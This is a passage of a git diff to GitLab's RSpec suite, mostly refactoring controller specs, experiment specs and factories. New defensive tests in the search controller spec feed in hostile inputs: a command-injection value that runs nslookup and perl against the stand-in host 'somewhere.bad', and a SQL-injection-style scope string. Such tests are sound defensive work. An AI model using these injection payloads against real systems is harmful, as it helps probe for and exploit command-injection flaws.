it 'finds issue comments' do
project = create(:project, :public)
note = create(:note_on_issue, project: project)
@@ -283,7 +292,7 @@ RSpec.describe SearchController do
end
end
- describe 'GET #count' do
+ describe 'GET #count', :aggregate_failures do
it_behaves_like 'when the user cannot read cross project', :count, { search: 'hello', scope: 'projects' }
it_behaves_like 'with external authorization service enabled', :count, { search: 'hello', scope: 'projects' }
it_behaves_like 'support for active record query timeouts', :count, { search: 'hello', scope: 'projects' }, :search_results, :json
@@ -315,13 +324,40 @@ RSpec.describe SearchController do
expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers['Cache-Control']).to eq('private, no-store')
+ expect(response.headers['Cache-Control']).to eq('max-age=60, private')
+ end
+
+ it 'does NOT blow up if search param is NOT a string' do
+ get :count, params: { search: ['hello'], scope: 'projects' }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq({ 'count' => '0' })
+
+ get :count, params: { search: { nested: 'hello' }, scope: 'projects' }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq({ 'count' => '0' })
+ end
+
+ it 'does NOT blow up if repository_ref contains abusive characters' do
+ get :count, params: {
+ search: 'hello',
+ repository_ref: "(nslookup%20hitqlwv501f.somewhere.bad%7C%7Cperl%20-e%20%22gethostbyname('hitqlwv501f.somewhere.bad')%22)",
+ scope: 'projects'
+ }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq({ 'count' => '0' })
end
end
describe 'GET #autocomplete' do
it_behaves_like 'when the user cannot read cross project', :autocomplete, { term: 'hello' }
it_behaves_like 'with external authorization service enabled', :autocomplete, { term: 'hello' }
+ it_behaves_like 'support for active record query timeouts', :autocomplete, { term: 'hello' }, :project, :json
+
+ it 'returns an empty array when given abusive search term' do
+ get :autocomplete, params: { term: ('hal' * 9000), scope: 'projects' }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to match_array([])
+ end
end
describe '#append_info_to_payload' do
@@ -351,6 +387,35 @@ RSpec.describe SearchController do
get :show, params: { search: 'hello world', group_id: '123', project_id: '456' }
end
end
+
+ context 'abusive searches', :aggregate_failures do
+ let(:project) { create(:project, :public, name: 'hello world') }
+ let(:make_abusive_request) do
+ get :show, params: { scope: '1;drop%20tables;boom', search: 'hello world', project_id: project.id }
+ end
+
+ before do
+ enable_external_authorization_service_check
+ end
+
+ it 'returns EmptySearchResults' do
+ expect(Gitlab::EmptySearchResults).to receive(:new).and_call_original
+ make_abusive_request
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(prevent_abusive_searches: false)
+ end
+
+ it 'returns a regular search result' do
+ expect(Gitlab::EmptySearchResults).not_to receive(:new)
+ make_abusive_request
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
end
context 'unauthorized user' do
diff --git a/spec/controllers/sent_notifications_controller_spec.rb b/spec/controllers/sent_notifications_controller_spec.rb
index 02aaa5b16f1..ec74a902258 100644
--- a/spec/controllers/sent_notifications_controller_spec.rb
+++ b/spec/controllers/sent_notifications_controller_spec.rb
@@ -10,19 +10,19 @@ RSpec.describe SentNotificationsController do
let(:issue) do
create(:issue, project: target_project) do |issue|
- issue.subscriptions.create(user: user, project: target_project, subscribed: true)
+ issue.subscriptions.create!(user: user, project: target_project, subscribed: true)
end
end
let(:confidential_issue) do
create(:issue, project: target_project, confidential: true) do |issue|
- issue.subscriptions.create(user: user, project: target_project, subscribed: true)
+ issue.subscriptions.create!(user: user, project: target_project, subscribed: true)
end
end
let(:merge_request) do
create(:merge_request, source_project: target_project, target_project: target_project) do |mr|
- mr.subscriptions.create(user: user, project: target_project, subscribed: true)
+ mr.subscriptions.create!(user: user, project: target_project, subscribed: true)
end
end
@@ -213,7 +213,7 @@ RSpec.describe SentNotificationsController do
context 'when the force param is not passed' do
let(:merge_request) do
create(:merge_request, source_project: project, author: user) do |merge_request|
- merge_request.subscriptions.create(user: user, project: project, subscribed: true)
+ merge_request.subscriptions.create!(user: user, project: project, subscribed: true)
end
end
diff --git a/spec/controllers/sessions_controller_spec.rb b/spec/controllers/sessions_controller_spec.rb
index c233e5b7c15..31de00dd8bd 100644
--- a/spec/controllers/sessions_controller_spec.rb
+++ b/spec/controllers/sessions_controller_spec.rb
@@ -403,7 +403,7 @@ RSpec.describe SessionsController do
context 'when the user is on their last attempt' do
before do
- user.update(failed_attempts: User.maximum_attempts.pred)
+ user.update!(failed_attempts: User.maximum_attempts.pred)
end
context 'when OTP is valid' do
diff --git a/spec/controllers/user_callouts_controller_spec.rb b/spec/controllers/user_callouts_controller_spec.rb
deleted file mode 100644
index 3bb8d78a6b0..00000000000
--- a/spec/controllers/user_callouts_controller_spec.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe UserCalloutsController do
- let_it_be(:user) { create(:user) }
-
- before do
- sign_in(user)
- end
-
- describe "POST #create" do
- let(:params) { { feature_name: feature_name } }
-
- subject { post :create, params: params, format: :json }
-
- context 'with valid feature name' do
- let(:feature_name) { UserCallout.feature_names.each_key.first }
-
- context 'when callout entry does not exist' do
- it 'creates a callout entry with dismissed state' do
- expect { subject }.to change { UserCallout.count }.by(1)
- end
-
- it 'returns success' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-
- context 'when callout entry already exists' do
- let!(:callout) { create(:user_callout, feature_name: UserCallout.feature_names.each_key.first, user: user) }
-
- it 'returns success', :aggregate_failures do
- expect { subject }.not_to change { UserCallout.count }
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
-
- context 'with invalid feature name' do
- let(:feature_name) { 'bogus_feature_name' }
-
- it 'returns bad request' do
- subject
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
- end
- end
-end
diff --git a/spec/controllers/users/callouts_controller_spec.rb b/spec/controllers/users/callouts_controller_spec.rb
new file mode 100644
index 00000000000..13dc565b4ad
--- /dev/null
+++ b/spec/controllers/users/callouts_controller_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::CalloutsController do
+ let_it_be(:user) { create(:user) }
+
+ before do
+ sign_in(user)
+ end
+
+ describe "POST #create" do
+ let(:params) { { feature_name: feature_name } }
+
+ subject { post :create, params: params, format: :json }
+
+ context 'with valid feature name' do
+ let(:feature_name) { Users::Callout.feature_names.each_key.first }
+
+ context 'when callout entry does not exist' do
+ it 'creates a callout entry with dismissed state' do
+ expect { subject }.to change { Users::Callout.count }.by(1)
+ end
+
+ it 'returns success' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'when callout entry already exists' do
+ let!(:callout) { create(:callout, feature_name: Users::Callout.feature_names.each_key.first, user: user) }
+
+ it 'returns success', :aggregate_failures do
+ expect { subject }.not_to change { Users::Callout.count }
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ context 'with invalid feature name' do
+ let(:feature_name) { 'bogus_feature_name' }
+
+ it 'returns bad request' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+ end
+end
diff --git a/spec/db/schema_spec.rb b/spec/db/schema_spec.rb
index 521b4cd4002..edb412cbb9c 100644
--- a/spec/db/schema_spec.rb
+++ b/spec/db/schema_spec.rb
@@ -26,10 +26,8 @@ RSpec.describe 'Database schema' do
boards: %w[milestone_id iteration_id],
chat_names: %w[chat_id team_id user_id],
chat_teams: %w[team_id],
- ci_builds: %w[erased_by_id runner_id trigger_request_id user_id],
+ ci_builds: %w[erased_by_id runner_id trigger_request_id],
ci_namespace_monthly_usages: %w[namespace_id],
- ci_pipelines: %w[user_id],
- ci_pipeline_chat_data: %w[chat_name_id], # it uses the loose foreign key featue
ci_runner_projects: %w[runner_id],
ci_trigger_requests: %w[commit_id],
cluster_providers_aws: %w[security_group_id vpc_id access_key_id],
@@ -53,6 +51,7 @@ RSpec.describe 'Database schema' do
identities: %w[user_id],
import_failures: %w[project_id],
issues: %w[last_edited_by_id state_id],
+ issue_emails: %w[email_message_id],
jira_tracker_data: %w[jira_issue_transition_id],
keys: %w[user_id],
label_links: %w[target_id],
@@ -66,8 +65,6 @@ RSpec.describe 'Database schema' do
oauth_access_grants: %w[resource_owner_id application_id],
oauth_access_tokens: %w[resource_owner_id application_id],
oauth_applications: %w[owner_id],
- packages_build_infos: %w[pipeline_id],
- packages_package_file_build_infos: %w[pipeline_id],
product_analytics_events_experimental: %w[event_id txn_id user_id],
project_group_links: %w[group_id],
project_statistics: %w[namespace_id],
@@ -83,7 +80,6 @@ RSpec.describe 'Database schema' do
subscriptions: %w[user_id subscribable_id],
suggestions: %w[commit_id],
taggings: %w[tag_id taggable_id tagger_id],
- terraform_state_versions: %w[ci_build_id],
timelogs: %w[user_id],
todos: %w[target_id commit_id],
uploads: %w[model_id],
@@ -101,6 +97,8 @@ RSpec.describe 'Database schema' do
let(:indexes) { connection.indexes(table) }
let(:columns) { connection.columns(table) }
let(:foreign_keys) { connection.foreign_keys(table) }
+ let(:loose_foreign_keys) { Gitlab::Database::LooseForeignKeys.definitions.group_by(&:from_table).fetch(table, []) }
+ let(:all_foreign_keys) { foreign_keys + loose_foreign_keys }
# take the first column in case we're using a composite primary key
let(:primary_key_column) { Array(connection.primary_key(table)).first }
@@ -113,7 +111,7 @@ RSpec.describe 'Database schema' do
columns = columns.split(',') if columns.is_a?(String)
columns.first.chomp
end
- foreign_keys_columns = foreign_keys.map(&:column)
+ foreign_keys_columns = all_foreign_keys.map(&:column)
# Add the primary key column to the list of indexed columns because
# postgres and mysql both automatically create an index on the primary
@@ -128,7 +126,7 @@ RSpec.describe 'Database schema' do
context 'columns ending with _id' do
let(:column_names) { columns.map(&:name) }
let(:column_names_with_id) { column_names.select { |column_name| column_name.ends_with?('_id') } }
- let(:foreign_keys_columns) { foreign_keys.map(&:column) }
+ let(:foreign_keys_columns) { all_foreign_keys.map(&:column).uniq } # we can have FK and loose FK present at the same time
let(:ignored_columns) { ignored_fk_columns(table) }
it 'do have the foreign keys' do
@@ -170,7 +168,7 @@ RSpec.describe 'Database schema' do
'PrometheusMetric' => %w[group],
'ResourceLabelEvent' => %w[action],
'User' => %w[layout dashboard project_view],
- 'UserCallout' => %w[feature_name],
+ 'Users::Callout' => %w[feature_name],
'PrometheusAlert' => %w[operator]
}.freeze
diff --git a/spec/dependencies/omniauth_saml_spec.rb b/spec/dependencies/omniauth_saml_spec.rb
index fa179eb1516..8956fa44b7a 100644
--- a/spec/dependencies/omniauth_saml_spec.rb
+++ b/spec/dependencies/omniauth_saml_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'processing of SAMLResponse in dependencies' do
let(:mock_saml_response) { File.read('spec/fixtures/authentication/saml_response.xml') }
let(:saml_strategy) { OmniAuth::Strategies::SAML.new({}) }
let(:session_mock) { {} }
- let(:settings) { OpenStruct.new({ soft: false, idp_cert_fingerprint: 'something' }) }
+ let(:settings) { double('settings', { soft: false, idp_cert_fingerprint: 'something' }) }
let(:auth_hash) { Gitlab::Auth::Saml::AuthHash.new(saml_strategy) }
subject { auth_hash.authn_context }
diff --git a/spec/experiments/application_experiment_spec.rb b/spec/experiments/application_experiment_spec.rb
index b0788eec808..5146fe3e752 100644
--- a/spec/experiments/application_experiment_spec.rb
+++ b/spec/experiments/application_experiment_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe ApplicationExperiment, :experiment do
- subject { described_class.new('namespaced/stub', **context) }
+ subject(:application_experiment) { described_class.new('namespaced/stub', **context) }
let(:context) { {} }
let(:feature_definition) { { name: 'namespaced_stub', type: 'experiment', default_enabled: false } }
@@ -15,7 +15,7 @@ RSpec.describe ApplicationExperiment, :experiment do
end
before do
- allow(subject).to receive(:enabled?).and_return(true)
+ allow(application_experiment).to receive(:enabled?).and_return(true)
end
it "doesn't raise an exception without a defined control" do
@@ -26,7 +26,7 @@ RSpec.describe ApplicationExperiment, :experiment do
describe "#enabled?" do
before do
- allow(subject).to receive(:enabled?).and_call_original
+ allow(application_experiment).to receive(:enabled?).and_call_original
allow(Feature::Definition).to receive(:get).and_return('_instance_')
allow(Gitlab).to receive(:dev_env_or_com?).and_return(true)
@@ -34,25 +34,25 @@ RSpec.describe ApplicationExperiment, :experiment do
end
it "is enabled when all criteria are met" do
- expect(subject).to be_enabled
+ expect(application_experiment).to be_enabled
end
it "isn't enabled if the feature definition doesn't exist" do
expect(Feature::Definition).to receive(:get).with('namespaced_stub').and_return(nil)
- expect(subject).not_to be_enabled
+ expect(application_experiment).not_to be_enabled
end
it "isn't enabled if we're not in dev or dotcom environments" do
expect(Gitlab).to receive(:dev_env_or_com?).and_return(false)
- expect(subject).not_to be_enabled
+ expect(application_experiment).not_to be_enabled
end
it "isn't enabled if the feature flag state is :off" do
expect(Feature).to receive(:get).with('namespaced_stub').and_return(double(state: :off))
- expect(subject).not_to be_enabled
+ expect(application_experiment).not_to be_enabled
end
end
@@ -60,11 +60,11 @@ RSpec.describe ApplicationExperiment, :experiment do
let(:should_track) { true }
before do
- allow(subject).to receive(:should_track?).and_return(should_track)
+ allow(application_experiment).to receive(:should_track?).and_return(should_track)
end
it "tracks the assignment", :snowplow do
- subject.publish
+ application_experiment.publish
expect_snowplow_event(
category: 'namespaced/stub',
@@ -74,24 +74,16 @@ RSpec.describe ApplicationExperiment, :experiment do
end
it "publishes to the client" do
- expect(subject).to receive(:publish_to_client)
+ expect(application_experiment).to receive(:publish_to_client)
- subject.publish
- end
-
- it "publishes to the database if we've opted for that" do
- subject.record!
-
- expect(subject).to receive(:publish_to_database)
-
- subject.publish
+ application_experiment.publish
end
context 'when we should not track' do
let(:should_track) { false }
it 'does not track an event to Snowplow', :snowplow do
- subject.publish
+ application_experiment.publish
expect_no_snowplow_event
end
@@ -102,13 +94,13 @@ RSpec.describe ApplicationExperiment, :experiment do
signature = { key: '86208ac54ca798e11f127e8b23ec396a', variant: 'control' }
expect(Gon).to receive(:push).with({ experiment: { 'namespaced/stub' => hash_including(signature) } }, true)
- subject.publish_to_client
+ application_experiment.publish_to_client
end
it "handles when Gon raises exceptions (like when it can't be pushed into)" do
expect(Gon).to receive(:push).and_raise(NoMethodError)
- expect { subject.publish_to_client }.not_to raise_error
+ expect { application_experiment.publish_to_client }.not_to raise_error
end
context 'when we should not track' do
@@ -117,7 +109,7 @@ RSpec.describe ApplicationExperiment, :experiment do
it 'returns early' do
expect(Gon).not_to receive(:push)
- subject.publish_to_client
+ application_experiment.publish_to_client
end
end
end
@@ -125,13 +117,15 @@ RSpec.describe ApplicationExperiment, :experiment do
describe '#publish_to_database' do
using RSpec::Parameterized::TableSyntax
+ let(:publish_to_database) { application_experiment.publish_to_database }
+
shared_examples 'does not record to the database' do
it 'does not create an experiment record' do
- expect { subject.publish_to_database }.not_to change(Experiment, :count)
+ expect { publish_to_database }.not_to change(Experiment, :count)
end
it 'does not create an experiment subject record' do
- expect { subject.publish_to_database }.not_to change(ExperimentSubject, :count)
+ expect { publish_to_database }.not_to change(ExperimentSubject, :count)
end
end
@@ -139,16 +133,16 @@ RSpec.describe ApplicationExperiment, :experiment do
let(:context) { { context_key => context_value } }
where(:context_key, :context_value, :object_type) do
- :namespace | build(:namespace) | :namespace
- :group | build(:namespace) | :namespace
- :project | build(:project) | :project
- :user | build(:user) | :user
- :actor | build(:user) | :user
+ :namespace | build(:namespace, id: non_existing_record_id) | :namespace
+ :group | build(:namespace, id: non_existing_record_id) | :namespace
+ :project | build(:project, id: non_existing_record_id) | :project
+ :user | build(:user, id: non_existing_record_id) | :user
+ :actor | build(:user, id: non_existing_record_id) | :user
end
with_them do
it 'creates an experiment and experiment subject record' do
- expect { subject.publish_to_database }.to change(Experiment, :count).by(1)
+ expect { publish_to_database }.to change(Experiment, :count).by(1)
expect(Experiment.last.name).to eq('namespaced/stub')
expect(ExperimentSubject.last.send(object_type)).to eq(context[context_key])
@@ -156,6 +150,16 @@ RSpec.describe ApplicationExperiment, :experiment do
end
end
+ context "when experiment hasn't ran" do
+ let(:context) { { user: create(:user) } }
+
+ it 'sets a variant on the experiment subject' do
+ publish_to_database
+
+ expect(ExperimentSubject.last.variant).to eq('control')
+ end
+ end
+
context 'when there is not a usable subject' do
let(:context) { { context_key => context_value } }
@@ -183,15 +187,15 @@ RSpec.describe ApplicationExperiment, :experiment do
end
it "doesn't track if we shouldn't track" do
- allow(subject).to receive(:should_track?).and_return(false)
+ allow(application_experiment).to receive(:should_track?).and_return(false)
- subject.track(:action)
+ application_experiment.track(:action)
expect_no_snowplow_event
end
it "tracks the event with the expected arguments and merged contexts" do
- subject.track(:action, property: '_property_', context: [fake_context])
+ application_experiment.track(:action, property: '_property_', context: [fake_context])
expect_snowplow_event(
category: 'namespaced/stub',
@@ -229,11 +233,80 @@ RSpec.describe ApplicationExperiment, :experiment do
]
)
end
+
+ context "when using known context resources" do
+ let(:user) { build(:user, id: non_existing_record_id) }
+ let(:project) { build(:project, id: non_existing_record_id) }
+ let(:namespace) { build(:namespace, id: non_existing_record_id) }
+ let(:group) { build(:group, id: non_existing_record_id) }
+ let(:actor) { user }
+
+ let(:context) { { user: user, project: project, namespace: namespace } }
+
+ it "includes those using the gitlab standard context" do
+ subject.track(:action)
+
+ expect_snowplow_event(
+ category: 'namespaced/stub',
+ action: 'action',
+ user: user,
+ project: project,
+ namespace: namespace,
+ context: an_instance_of(Array)
+ )
+ end
+
+ it "falls back to using the group key" do
+ subject.context(namespace: nil, group: group)
+
+ subject.track(:action)
+
+ expect_snowplow_event(
+ category: 'namespaced/stub',
+ action: 'action',
+ user: user,
+ project: project,
+ namespace: group,
+ context: an_instance_of(Array)
+ )
+ end
+
+ context "with the actor key" do
+ it "provides it to the tracking call as the user" do
+ subject.context(user: nil, actor: actor)
+
+ subject.track(:action)
+
+ expect_snowplow_event(
+ category: 'namespaced/stub',
+ action: 'action',
+ user: actor,
+ project: project,
+ namespace: namespace,
+ context: an_instance_of(Array)
+ )
+ end
+
+ it "handles when it's not a user record" do
+ subject.context(user: nil, actor: nil)
+
+ subject.track(:action)
+
+ expect_snowplow_event(
+ category: 'namespaced/stub',
+ action: 'action',
+ project: project,
+ namespace: namespace,
+ context: an_instance_of(Array)
+ )
+ end
+ end
+ end
end
describe "#key_for" do
it "generates MD5 hashes" do
- expect(subject.key_for(foo: :bar)).to eq('6f9ac12afdb9b58c2f19a136d09f9153')
+ expect(application_experiment.key_for(foo: :bar)).to eq('6f9ac12afdb9b58c2f19a136d09f9153')
end
end
@@ -251,31 +324,33 @@ RSpec.describe ApplicationExperiment, :experiment do
"https://badplace.com\nhttps://gitlab.com" | nil
'https://gitlabbcom' | nil
'https://gitlabbcom/' | nil
+ 'http://gdk.test/foo/bar' | 'http://gdk.test/foo/bar'
+ 'http://localhost:3000/foo/bar' | 'http://localhost:3000/foo/bar'
end
with_them do
it "returns the url or nil if invalid" do
allow(Gitlab).to receive(:dev_env_or_com?).and_return(true)
- expect(subject.process_redirect_url(url)).to eq(processed_url)
+ expect(application_experiment.process_redirect_url(url)).to eq(processed_url)
end
it "considers all urls invalid when not on dev or com" do
allow(Gitlab).to receive(:dev_env_or_com?).and_return(false)
- expect(subject.process_redirect_url(url)).to be_nil
+ expect(application_experiment.process_redirect_url(url)).to be_nil
end
end
it "generates the correct urls based on where the engine was mounted" do
- url = Rails.application.routes.url_helpers.experiment_redirect_url(subject, url: 'https://docs.gitlab.com')
- expect(url).to include("/-/experiment/namespaced%2Fstub:#{subject.context.key}?https://docs.gitlab.com")
+ url = Rails.application.routes.url_helpers.experiment_redirect_url(application_experiment, url: 'https://docs.gitlab.com')
+ expect(url).to include("/-/experiment/namespaced%2Fstub:#{application_experiment.context.key}?https://docs.gitlab.com")
end
end
context "when resolving variants" do
it "uses the default value as specified in the yaml" do
- expect(Feature).to receive(:enabled?).with('namespaced_stub', subject, type: :experiment, default_enabled: :yaml)
+ expect(Feature).to receive(:enabled?).with('namespaced_stub', application_experiment, type: :experiment, default_enabled: :yaml)
- expect(subject.variant.name).to eq('control')
+ expect(application_experiment.variant.name).to eq('control')
end
context "when rolled out to 100%" do
@@ -284,32 +359,52 @@ RSpec.describe ApplicationExperiment, :experiment do
end
it "returns the first variant name" do
- subject.try(:variant1) {}
- subject.try(:variant2) {}
+ application_experiment.try(:variant1) {}
+ application_experiment.try(:variant2) {}
- expect(subject.variant.name).to eq('variant1')
+ expect(application_experiment.variant.name).to eq('variant1')
end
end
end
+ context "when nesting experiments" do
+ before do
+ stub_experiments(top: :control, nested: :control)
+ end
+
+ it "doesn't raise an exception" do
+ expect { experiment(:top) { |e| e.control { experiment(:nested) { } } } }.not_to raise_error
+ end
+
+ it "tracks an event", :snowplow do
+ experiment(:top) { |e| e.control { experiment(:nested) { } } }
+
+ expect(Gitlab::Tracking).to have_received(:event).with( # rubocop:disable RSpec/ExpectGitlabTracking
+ 'top',
+ 'nested',
+ hash_including(label: 'nested')
+ )
+ end
+ end
+
context "when caching" do
let(:cache) { Gitlab::Experiment::Configuration.cache }
before do
allow(Gitlab::Experiment::Configuration).to receive(:cache).and_call_original
- cache.clear(key: subject.name)
+ cache.clear(key: application_experiment.name)
- subject.use { } # setup the control
- subject.try { } # setup the candidate
+ application_experiment.use { } # setup the control
+ application_experiment.try { } # setup the candidate
end
it "caches the variant determined by the variant resolver" do
- expect(subject.variant.name).to eq('candidate') # we should be in the experiment
+ expect(application_experiment.variant.name).to eq('candidate') # we should be in the experiment
- subject.run
+ application_experiment.run
- expect(subject.cache.read).to eq('candidate')
+ expect(application_experiment.cache.read).to eq('candidate')
end
it "doesn't cache a variant if we don't explicitly provide one" do
@@ -320,11 +415,11 @@ RSpec.describe ApplicationExperiment, :experiment do
# the control.
stub_feature_flags(namespaced_stub: false) # simulate being not rolled out
- expect(subject.variant.name).to eq('control') # if we ask, it should be control
+ expect(application_experiment.variant.name).to eq('control') # if we ask, it should be control
- subject.run
+ application_experiment.run
- expect(subject.cache.read).to be_nil
+ expect(application_experiment.cache.read).to be_nil
end
it "caches a control variant if we assign it specifically" do
@@ -332,27 +427,27 @@ RSpec.describe ApplicationExperiment, :experiment do
# that this context will always get the control variant unless we delete
# the field from the cache (or clear the entire experiment cache) -- or
# write code that would specify a different variant.
- subject.run(:control)
+ application_experiment.run(:control)
- expect(subject.cache.read).to eq('control')
+ expect(application_experiment.cache.read).to eq('control')
end
context "arbitrary attributes" do
before do
- subject.cache.store.clear(key: subject.name + '_attrs')
+ application_experiment.cache.store.clear(key: application_experiment.name + '_attrs')
end
it "sets and gets attributes about an experiment" do
- subject.cache.attr_set(:foo, :bar)
+ application_experiment.cache.attr_set(:foo, :bar)
- expect(subject.cache.attr_get(:foo)).to eq('bar')
+ expect(application_experiment.cache.attr_get(:foo)).to eq('bar')
end
it "increments a value for an experiment" do
- expect(subject.cache.attr_get(:foo)).to be_nil
+ expect(application_experiment.cache.attr_get(:foo)).to be_nil
- expect(subject.cache.attr_inc(:foo)).to eq(1)
- expect(subject.cache.attr_inc(:foo)).to eq(2)
+ expect(application_experiment.cache.attr_inc(:foo)).to eq(1)
+ expect(application_experiment.cache.attr_inc(:foo)).to eq(2)
end
end
end
diff --git a/spec/experiments/new_project_sast_enabled_experiment_spec.rb b/spec/experiments/new_project_sast_enabled_experiment_spec.rb
index dcf71bfffd7..38f58c01973 100644
--- a/spec/experiments/new_project_sast_enabled_experiment_spec.rb
+++ b/spec/experiments/new_project_sast_enabled_experiment_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe NewProjectSastEnabledExperiment do
it "defines the expected behaviors and variants" do
- expect(subject.behaviors.keys).to match_array(%w[control candidate free_indicator])
+ expect(subject.behaviors.keys).to match_array(%w[control candidate free_indicator unchecked_candidate])
end
it "publishes to the database" do
diff --git a/spec/factories/ci/pipelines.rb b/spec/factories/ci/pipelines.rb
index 1d25964a4be..b2c1eff6fbd 100644
--- a/spec/factories/ci/pipelines.rb
+++ b/spec/factories/ci/pipelines.rb
@@ -18,15 +18,13 @@ FactoryBot.define do
transient { child_of { nil } }
transient { upstream_of { nil } }
- before(:create) do |pipeline, evaluator|
- pipeline.ensure_project_iid!
- end
-
after(:build) do |pipeline, evaluator|
if evaluator.child_of
pipeline.project = evaluator.child_of.project
pipeline.source = :parent_pipeline
end
+
+ pipeline.ensure_project_iid!
end
after(:create) do |pipeline, evaluator|
diff --git a/spec/factories/clusters/agents/activity_events.rb b/spec/factories/clusters/agents/activity_events.rb
new file mode 100644
index 00000000000..ff73f617964
--- /dev/null
+++ b/spec/factories/clusters/agents/activity_events.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :agent_activity_event, class: 'Clusters::Agents::ActivityEvent' do
+ association :agent, factory: :cluster_agent
+ association :agent_token, factory: :cluster_agent_token
+ user
+
+ kind { :token_created }
+ level { :info }
+ recorded_at { Time.current }
+ end
+end
diff --git a/spec/factories/commit_signature/gpg_signature.rb b/spec/factories/commit_signature/gpg_signature.rb
new file mode 100644
index 00000000000..50a25291cc7
--- /dev/null
+++ b/spec/factories/commit_signature/gpg_signature.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :gpg_signature, class: 'CommitSignatures::GpgSignature' do
+ commit_sha { Digest::SHA1.hexdigest(SecureRandom.hex) }
+ project
+ gpg_key
+ gpg_key_primary_keyid { gpg_key.keyid }
+ verification_status { :verified }
+ end
+end
diff --git a/spec/factories/commit_signature/x509_commit_signature.rb b/spec/factories/commit_signature/x509_commit_signature.rb
new file mode 100644
index 00000000000..1de92f56b33
--- /dev/null
+++ b/spec/factories/commit_signature/x509_commit_signature.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :x509_commit_signature, class: 'CommitSignatures::X509CommitSignature' do
+ commit_sha { Digest::SHA1.hexdigest(SecureRandom.hex) }
+ project
+ x509_certificate
+ verification_status { :verified }
+ end
+end
diff --git a/spec/factories/customer_relations/contacts.rb b/spec/factories/customer_relations/contacts.rb
index 437f8feea48..821c45d7514 100644
--- a/spec/factories/customer_relations/contacts.rb
+++ b/spec/factories/customer_relations/contacts.rb
@@ -6,6 +6,7 @@ FactoryBot.define do
first_name { generate(:name) }
last_name { generate(:name) }
+ email { generate(:email) }
trait :with_organization do
organization
diff --git a/spec/factories/deployments.rb b/spec/factories/deployments.rb
index 2aab9764560..ab1b794632a 100644
--- a/spec/factories/deployments.rb
+++ b/spec/factories/deployments.rb
@@ -55,6 +55,10 @@ FactoryBot.define do
status { :created }
end
+ trait :blocked do
+ status { :blocked }
+ end
+
# This trait hooks the state maechine's events
trait :succeed do
after(:create) do |deployment, evaluator|
diff --git a/spec/factories/gitlab/database/background_migration/batched_migrations.rb b/spec/factories/gitlab/database/background_migration/batched_migrations.rb
index de57e0c1565..79b4447b76e 100644
--- a/spec/factories/gitlab/database/background_migration/batched_migrations.rb
+++ b/spec/factories/gitlab/database/background_migration/batched_migrations.rb
@@ -12,5 +12,13 @@ FactoryBot.define do
sequence(:job_arguments) { |n| [["column_#{n}"], ["column_#{n}_convert_to_bigint"]] }
total_tuple_count { 10_000 }
pause_ms { 100 }
+
+ trait :finished do
+ status { :finished }
+ end
+
+ trait :failed do
+ status { :failed }
+ end
end
end
diff --git a/spec/factories/gpg_signature.rb b/spec/factories/gpg_signature.rb
deleted file mode 100644
index 2ab4d190276..00000000000
--- a/spec/factories/gpg_signature.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :gpg_signature do
- commit_sha { Digest::SHA1.hexdigest(SecureRandom.hex) }
- project
- gpg_key
- gpg_key_primary_keyid { gpg_key.keyid }
- verification_status { :verified }
- end
-end
diff --git a/spec/factories/import_failures.rb b/spec/factories/import_failures.rb
index 376b2ff39e2..df0793664f4 100644
--- a/spec/factories/import_failures.rb
+++ b/spec/factories/import_failures.rb
@@ -10,6 +10,8 @@ FactoryBot.define do
exception_class { 'RuntimeError' }
exception_message { 'Something went wrong' }
source { 'method_call' }
+ relation_key { 'issues' }
+ relation_index { 1 }
correlation_id_value { SecureRandom.uuid }
trait :hard_failure do
diff --git a/spec/factories/issue_emails.rb b/spec/factories/issue_emails.rb
new file mode 100644
index 00000000000..edf07aab0cd
--- /dev/null
+++ b/spec/factories/issue_emails.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :issue_email, class: 'Issue::Email' do
+ issue
+ email_message_id { generate(:short_text) }
+ end
+end
diff --git a/spec/factories/namespaces.rb b/spec/factories/namespaces.rb
index 959183f227d..2b3dabc07d8 100644
--- a/spec/factories/namespaces.rb
+++ b/spec/factories/namespaces.rb
@@ -1,12 +1,14 @@
# frozen_string_literal: true
FactoryBot.define do
- factory :namespace do
+ # This factory is called :namespace but actually maps (and always has) to User type
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74152#note_730034103 for context
+ factory :namespace, class: 'Namespaces::UserNamespace' do
sequence(:name) { |n| "namespace#{n}" }
+ type { Namespaces::UserNamespace.sti_name }
+
path { name.downcase.gsub(/\s/, '_') }
- # TODO: can this be moved into the :user_namespace factory?
- # evaluate in issue https://gitlab.com/gitlab-org/gitlab/-/issues/341070
owner { association(:user, strategy: :build, namespace: instance, username: path) }
trait :with_aggregation_schedule do
diff --git a/spec/factories/notes.rb b/spec/factories/notes.rb
index c15ec91d2ce..2159f5b2dc1 100644
--- a/spec/factories/notes.rb
+++ b/spec/factories/notes.rb
@@ -8,6 +8,7 @@ FactoryBot.define do
note { generate(:title) }
